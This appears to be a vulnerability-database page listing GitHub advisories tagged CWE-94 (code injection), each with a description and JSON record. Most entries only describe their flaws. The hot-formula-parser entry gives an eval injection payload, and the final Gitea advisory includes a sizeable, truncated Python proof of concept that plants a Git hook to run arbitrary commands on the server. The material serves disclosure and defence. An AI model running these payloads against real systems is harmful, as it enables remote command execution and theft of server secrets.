Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9394 vulnerabilities reference this CWE, most recent first.

GHSA-RC27-7VGM-6RX5

Vulnerability from github – Published: 2022-05-02 00:02 – Updated: 2022-05-02 00:02

Details

Multiple PHP remote file inclusion vulnerabilities in CyBoards PHP Lite 1.21 allow remote attackers to execute arbitrary PHP code via a URL in the script_path parameter to (1) flat_read.php, (2) post.php, (3) process_post.php, (4) process_search.php, (5) forum.php, (6) process_subscribe.php, (7) read.php, (8) search.php, (9) subscribe.php in path/; and (10) add_ban.php, (11) add_ban_form.php, (12) add_board.php, (13) add_vip.php, (14) add_vip_form.php, (15) copy_ban.php, (16) copy_vip.php, (17) delete_ban.php, (18) delete_board.php, (19) delete_messages.php, (20) delete_vip.php, (21) edit_ban.php, (22) edit_board.php, (23) edit_vip.php, (24) index.php, (25) lock_messages.php, (26) login.php, (27) modify_ban_list.php, (28) modify_vip_list.php, (29) move_messages.php, (30) process_add_board.php, (31) process_ban.php, (32) process_delete_ban.php, (33) process_delete_board.php, (34) process_delete_messages.php, (35) process_delete_vip.php, (36) process_edit_board.php, (37) process_lock_messages.php, (38) process_login.php, (39) process_move_messages.php, (40) process_sticky_messages.php, (41) process_vip.php, and (42) sticky_messages.php in path/adminopts. NOTE: the include/common.php vector is covered by CVE-2006-2871. NOTE: some of these vectors might not be vulnerabilities under proper installation.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-3707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-08-19T19:41:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in CyBoards PHP Lite 1.21 allow remote attackers to execute arbitrary PHP code via a URL in the script_path parameter to (1) flat_read.php, (2) post.php, (3) process_post.php, (4) process_search.php, (5) forum.php, (6) process_subscribe.php, (7) read.php, (8) search.php, (9) subscribe.php in path/; and (10) add_ban.php, (11) add_ban_form.php, (12) add_board.php, (13) add_vip.php, (14) add_vip_form.php, (15) copy_ban.php, (16) copy_vip.php, (17) delete_ban.php, (18) delete_board.php, (19) delete_messages.php, (20) delete_vip.php, (21) edit_ban.php, (22) edit_board.php, (23) edit_vip.php, (24) index.php, (25) lock_messages.php, (26) login.php, (27) modify_ban_list.php, (28) modify_vip_list.php, (29) move_messages.php, (30) process_add_board.php, (31) process_ban.php, (32) process_delete_ban.php, (33) process_delete_board.php, (34) process_delete_messages.php, (35) process_delete_vip.php, (36) process_edit_board.php, (37) process_lock_messages.php, (38) process_login.php, (39) process_move_messages.php, (40) process_sticky_messages.php, (41) process_vip.php, and (42) sticky_messages.php in path/adminopts.  NOTE: the include/common.php vector is covered by CVE-2006-2871.  NOTE: some of these vectors might not be vulnerabilities under proper installation.",
  "id": "GHSA-rc27-7vgm-6rx5",
  "modified": "2022-05-02T00:02:55Z",
  "published": "2022-05-02T00:02:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3707"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44474"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/0808-exploits/cyboards-rfilfixss.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.attrition.org/pipermail/vim/2008-August/002052.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/30688"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RC4W-P9F6-7C7Q

Vulnerability from github – Published: 2022-05-14 03:50 – Updated: 2025-10-22 00:31

Details

Microsoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7 allow an attacker to execute code remotely via a malicious document or application, aka ".NET Framework Remote Code Execution Vulnerability."

Severity

7.8 (High)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2017-8759"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-13T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7 allow an attacker to execute code remotely via a malicious document or application, aka \".NET Framework Remote Code Execution Vulnerability.\"",
  "id": "GHSA-rc4w-p9f6-7c7q",
  "modified": "2025-10-22T00:31:24Z",
  "published": "2022-05-14T03:50:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitHubAssessments/CVE_Assessments_01_2020"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bhdresh/CVE-2017-8759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nccgroup/CVE-2017-8759"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8759"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2017-8759"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/42711"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100742"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039324"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RC77-XXQ6-4MFF

Vulnerability from github – Published: 2020-05-06 19:32 – Updated: 2021-08-25 21:04

Summary

Command Injection in hot-formula-parser

Details

Versions of hot-formula-parser prior to 3.0.1 are vulnerable to Command Injection. The package fails to sanitize values passed to the parse function and concatenates it in an eval call. If a value of the formula is supplied by user-controlled input it may allow attackers to run arbitrary commands in the server.
Parsing the following formula creates a test file in the present directory:
"SUM([(function(){require('child_process').execSync('touch test')})(),2])"

Recommendation

Upgrade to version 3.0.1 or later.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hot-formula-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-6836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-05-06T19:32:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Versions of `hot-formula-parser` prior to 3.0.1 are vulnerable to Command Injection. The package fails to sanitize values passed to the  `parse` function and concatenates it in an `eval` call. If a value of the formula is supplied by user-controlled input it may allow attackers to run arbitrary commands in the server.  \nParsing the following formula creates a `test` file in the present directory:  \n`\"SUM([(function(){require(\u0027child_process\u0027).execSync(\u0027touch test\u0027)})(),2])\"`\n\n\n## Recommendation\n\nUpgrade to version 3.0.1 or later.",
  "id": "GHSA-rc77-xxq6-4mff",
  "modified": "2021-08-25T21:04:44Z",
  "published": "2020-05-06T19:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6836"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handsontable/formula-parser/pull/58"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handsontable/formula-parser/commit/396b089738d4bf30eb570a4fe6a188affa95cd5e"
    },
    {
      "type": "WEB",
      "url": "https://blog.truesec.com/2020/01/17/reverse-shell-through-a-node-js-math-parser"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handsontable/formula-parser"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1439"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Command Injection in hot-formula-parser"
}

GHSA-RCCH-QF9H-VXG3

Vulnerability from github – Published: 2022-05-04 00:28 – Updated: 2022-05-04 00:28

Details

Microsoft Visio Viewer 2010 Gold and SP1 does not properly handle memory during the parsing of files, which allows remote attackers to execute arbitrary code via crafted attributes in a Visio file, aka "VSD File Format Memory Corruption Vulnerability," a different vulnerability than CVE-2012-0019, CVE-2012-0020, CVE-2012-0137, and CVE-2012-0138.

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{
  "affected": [],
  "aliases": [
    "CVE-2012-0136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-02-14T22:55:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Visio Viewer 2010 Gold and SP1 does not properly handle memory during the parsing of files, which allows remote attackers to execute arbitrary code via crafted attributes in a Visio file, aka \"VSD File Format Memory Corruption Vulnerability,\" a different vulnerability than CVE-2012-0019, CVE-2012-0020, CVE-2012-0137, and CVE-2012-0138.",
  "id": "GHSA-rcch-qf9h-vxg3",
  "modified": "2022-05-04T00:28:16Z",
  "published": "2022-05-04T00:28:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0136"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-015"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14924"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA12-045A.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RCGQ-M943-XXX6

Vulnerability from github – Published: 2022-05-01 18:07 – Updated: 2022-05-01 18:07

Details

PHP remote file inclusion vulnerability in lib/addressbook.php in Madirish Webmail 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[basedir] parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-2826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-05-22T21:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in lib/addressbook.php in Madirish Webmail 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[basedir] parameter.",
  "id": "GHSA-rcgq-m943-xxx6",
  "modified": "2022-05-01T18:07:38Z",
  "published": "2022-05-01T18:07:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2826"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4031"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/36802"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/25475"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/2718"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/24059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RCJC-C4PJ-XXRP

Vulnerability from github – Published: 2023-11-20 09:30 – Updated: 2026-07-02 21:42

Summary

Apache Derby: LDAP injection vulnerability in authenticator

Details

A cleverly devised username might bypass LDAP authentication checks. In LDAP-authenticated Derby installations, this could let an attacker fill up the disk by creating junk Derby databases. In LDAP-authenticated Derby installations, this could also allow the attacker to execute malware which was visible to and executable by the account which booted the Derby server. In LDAP-protected databases which weren't also protected by SQL GRANT/REVOKE authorization, this vulnerability could also let an attacker view and corrupt sensitive data and run sensitive database functions and procedures.

Mitigation:

Users should upgrade to Java 21 and Derby 10.17.1.0.

Alternatively, users who wish to remain on older Java versions should build their own Derby distribution from one of the release families to which the fix was backported: 10.16, 10.15, and 10.14. Those are the releases which correspond, respectively, with Java LTS versions 17, 11, and 8.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.1.0"
            },
            {
              "last_affected": "10.1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.2.1.6"
            },
            {
              "last_affected": "10.2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.3.1.4"
            },
            {
              "last_affected": "10.3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.4.1.3"
            },
            {
              "last_affected": "10.4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.1.1"
            },
            {
              "last_affected": "10.5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.6.1.0"
            },
            {
              "last_affected": "10.6.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "versions": [
        "10.7.1.1"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.8.1.2"
            },
            {
              "last_affected": "10.8.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "versions": [
        "10.9.1.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.10.1.1"
            },
            {
              "last_affected": "10.10.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "versions": [
        "10.11.1.1"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "versions": [
        "10.12.1.1"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "versions": [
        "10.13.1.1"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.14.2.0"
            },
            {
              "fixed": "10.14.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.14.2.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.16.1.1"
            },
            {
              "fixed": "10.16.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.16.1.1"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.15.2.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.derby:derby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.15.1.3"
            },
            {
              "fixed": "10.15.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-46337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-20T23:26:35Z",
    "nvd_published_at": "2023-11-20T09:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "A cleverly devised username might bypass LDAP authentication checks. In LDAP-authenticated Derby installations, this could let an attacker fill up the disk by creating junk Derby databases. In LDAP-authenticated Derby installations, this could also allow the attacker to execute malware which was visible to and executable by the account which booted the Derby server. In LDAP-protected databases which weren\u0027t also protected by SQL GRANT/REVOKE authorization, this vulnerability could also let an attacker view and corrupt sensitive data and run sensitive database functions and procedures.\n\nMitigation:\n\nUsers should upgrade to Java 21 and Derby 10.17.1.0.\n\nAlternatively, users who wish to remain on older Java versions should build their own Derby distribution from one of the release families to which the fix was backported: 10.16, 10.15, and 10.14. Those are the releases which correspond, respectively, with Java LTS versions 17, 11, and 8.",
  "id": "GHSA-rcjc-c4pj-xxrp",
  "modified": "2026-07-02T21:42:16Z",
  "published": "2023-11-20T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46337"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/derby"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/DERBY-7147"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/q23kvvtoohgzwybxpwozmvvk17rp0td3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Derby: LDAP injection vulnerability in authenticator"
}

GHSA-RCPR-CQ9V-2MGJ

Vulnerability from github – Published: 2022-05-01 23:47 – Updated: 2022-05-01 23:47

Details

PHP remote file inclusion vulnerability in kmitaadmin/kmitat/htmlcode.php in Kmita Tellfriend 2.0 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the file parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-2198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-05-14T17:20:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in kmitaadmin/kmitat/htmlcode.php in Kmita Tellfriend 2.0 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the file parameter.",
  "id": "GHSA-rcpr-cq9v-2mgj",
  "modified": "2022-05-01T23:47:33Z",
  "published": "2022-05-01T23:47:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2198"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42186"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5544"
    },
    {
      "type": "WEB",
      "url": "http://advisories.echo.or.id/adv/adv93-K-159-2008.txt"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3877"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/491616/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29042"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RCQ4-QH6M-J28Q

Vulnerability from github – Published: 2024-06-20 18:34 – Updated: 2024-07-03 18:46

Details

SQL Injection vulnerability in H3C SeaSQL DWS v.2.0 allows a remote attacker to execute arbitrary code via a crafted file.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2024-33335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T17:15:50Z",
    "severity": "MODERATE"
  },
  "details": "SQL Injection vulnerability in H3C SeaSQL DWS v.2.0 allows a remote attacker to execute arbitrary code via a crafted file.",
  "id": "GHSA-rcq4-qh6m-j28q",
  "modified": "2024-07-03T18:46:13Z",
  "published": "2024-06-20T18:34:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33335"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/vrhappy/08cb4c8721eed8a74fe786ecdff1ec1e"
    },
    {
      "type": "WEB",
      "url": "https://www.h3c.com/cn"
    },
    {
      "type": "WEB",
      "url": "https://www.h3c.com/cn/Service/Online_Help/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RCR6-4JQH-J84M

Vulnerability from github – Published: 2026-09-08 17:56 – Updated: 2026-09-08 17:56

Summary

Gitea: Remote Code Execution via diffpatch Git Hook Installation

Details

Summary

Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.

An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.

Details

services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:

cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")
}
````

Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.

In a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:

```text
hooks/post-index-change

becomes a live Git hook.

Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.

The hook's return value is not propagated to the diffpatch response.

The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.

PoC

The supplied gitea_diffpatch_rce_poc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.

Set the account password:

export GITEA_PASSWORD='account-password'

Execute a command through the diffpatch chain:

python3 ./gitea_diffpatch_rce_poc.py \
  https://gitea.example \
  pocuser \
  'id; uname -srm; pwd'

The script:

Creates an initialized private repository.
Submits the same executable-hook patch twice.
Fetches the result branch.
Prints the command's combined stdout, stderr, and exit status.
Prints the evidence repository, ref, and commit IDs to stderr.

Expected output resembles:

uid=1000(git) gid=1000(git) groups=1000(git)
Linux ...
/data/gitea/tmp/...

[exit-status=0]

The trigger requires:

Git 2.32 or newer.
An enabled diffpatch route.
A writable and executable temporary filesystem.

Open registration is required only for the no-prior-credentials attack path.

Impact

This is remote command execution as the Gitea service account (CWE-94).

Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:

app.ini and Gitea application secrets.
Process environment secrets.
Mounted repositories.
Database credentials and database contents.
OAuth and integration credentials.
Other internal or externally reachable services.

With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.

Screenshot 2026-07-25 at 14 45 44

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitea RCE PoC – authorized testing only.
"""

from __future__ import annotations

import argparse
import base64
import getpass
import hashlib
import json
import os
from pathlib import Path

import secrets
import shlex
import shutil
import subprocess
import sys
import tempfile

from typing import Any
import urllib.error
import urllib.parse
import urllib.request


TIMEOUT    = 30.0
USER_AGENT = "gitea-rce-poc/2.0"

_RST  = "\033[0m"
_DIM  = "\033[2m"
_GRN  = "\033[38;5;46m"     # bright green
_RED  = "\033[31m"           # red for errors

def _g(t: str) -> str: return f"{_GRN}{t}{_RST}"
def _r(t: str) -> str: return f"{_RED}{t}{_RST}"
def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"

def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}")
def log_ok  (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}")
def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")


_SEP = "  " + "═" * 44
BANNER = f"{_SEP}\n  GITEA  REMOTE CODE EXECUTION  POC\n{_SEP}"

def print_banner(url: str, version: str | None = None,
                 command: str | None = None) -> None:
    print()
    for line in BANNER.splitlines():
        print(_g(line))
    print()
    ver = version or "unknown"
    print(_g("  " + "-" * 54))
    print(_g(f"  Target        : {url}"))
    print(_g(f"  Version       : {ver}"))
    if command:
        print(_g(f"  Command       : {command}"))
    print(_g("  " + "-" * 54))
    print()

class PocError(RuntimeError):
    pass

class GiteaClient:
    def __init__(self, base_url: str, username: str, password: str) -> None:
        parsed = urllib.parse.urlsplit(base_url)
        if parsed.scheme not in {"http", "https"} or not parsed.netloc:
            raise PocError("URL must be an absolute http:// or https:// URL")
        if parsed.query or parsed.fragment:
            raise PocError("URL must not contain a query string or fragment")
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        encoded = base64.b64encode(
            f"{username}:{password}".encode()
        ).decode("ascii")
        self.authorization = f"Basic {encoded}"

    def api(
        self,
        method: str,
        path: str,
        payload: dict[str, Any] | None = None,
    ) -> tuple[int, Any]:
        data = None
        if payload is not None:
            data = json.dumps(payload, separators=(",", ":")).encode()
        req = urllib.request.Request(
            self.base_url + path,
            data=data,
            method=method,
            headers={
                "Accept": "application/json",
                "Authorization": self.authorization,
                "Content-Type": "application/json",
                "User-Agent": USER_AGENT,
            },
        )
        try:
            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
                raw = r.read()
                return r.status, json.loads(raw) if raw else None
        except urllib.error.HTTPError as exc:
            body = exc.read().decode("utf-8", errors="replace")[:2_000]
            raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc
        except urllib.error.URLError as exc:
            raise PocError(f"{method} {path} failed: {exc.reason}") from exc
        except json.JSONDecodeError:
            raise PocError(f"{method} {path} returned invalid JSON")

def blob_oid(content: bytes) -> str:
    return hashlib.sha1(
        f"blob {len(content)}\0".encode("ascii") + content
    ).hexdigest()

def build_hook(command: str, leak_ref: str) -> bytes:
    qcmd = shlex.quote(command)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    return (
        "#!/bin/sh\n"
        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
        'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
        'case "$origin_objects" in\n'
        '  /*) ;;\n'
        '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
        "esac\n"
        'origin_git=${origin_objects%/objects}\n'
        '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
        f"output_blob=$({{ /bin/sh -c {qcmd}; "
        'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
        'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
        'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
        'git --git-dir="$origin_git" mktree) || exit 5\n'
        'commit=$(printf "command output\\n" | '
        "GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid "
        "GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid "
        'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
        f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
        "exit 0\n"
    ).encode()

def build_patch(hook: bytes) -> str:
    lc  = hook.count(b"\n")
    hdr = (
        "diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
        "new file mode 100755\n"
        f"index {'0'*40}..{blob_oid(hook)}\n"
        "--- /dev/null\n"
        "+++ b/hooks/post-index-change\n"
        f"@@ -0,0 +1,{lc} @@\n"
    ).encode()
    return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()

def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:
    try:
        result = subprocess.run(
            [git, *arguments], env=env,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
            check=False, timeout=TIMEOUT,
        )
    except subprocess.TimeoutExpired as exc:
        raise PocError(f"git timed out after {TIMEOUT:g}s") from exc
    except OSError as exc:
        raise PocError(f"could not run git: {exc}") from exc
    if result.returncode != 0:
        err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip()
        raise PocError(f"git exit {result.returncode}: {err}")
    return result.stdout

def fetch_output(git: str, client: GiteaClient,
                 owner: str, repo: str, leak_ref: str) -> bytes:
    remote = (
        f"{client.base_url}/"
        f"{urllib.parse.quote(owner, safe='')}/"
        f"{urllib.parse.quote(repo, safe='')}.git"
    )
    with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp:
        bare      = Path(tmp) / "fetch.git"
        auth_cfg  = Path(tmp) / "auth.config"
        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
        with os.fdopen(fd, "w", encoding="utf-8") as f:
            f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n")
        env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
        run_git(git, ["init", "--bare", "--quiet", str(bare)], env)
        run_git(git, [
            "-C", str(bare), "-c", f"include.path={auth_cfg}",
            "fetch", "--quiet", "--no-tags",
            remote, f"refs/heads/{leak_ref}",
        ], env)
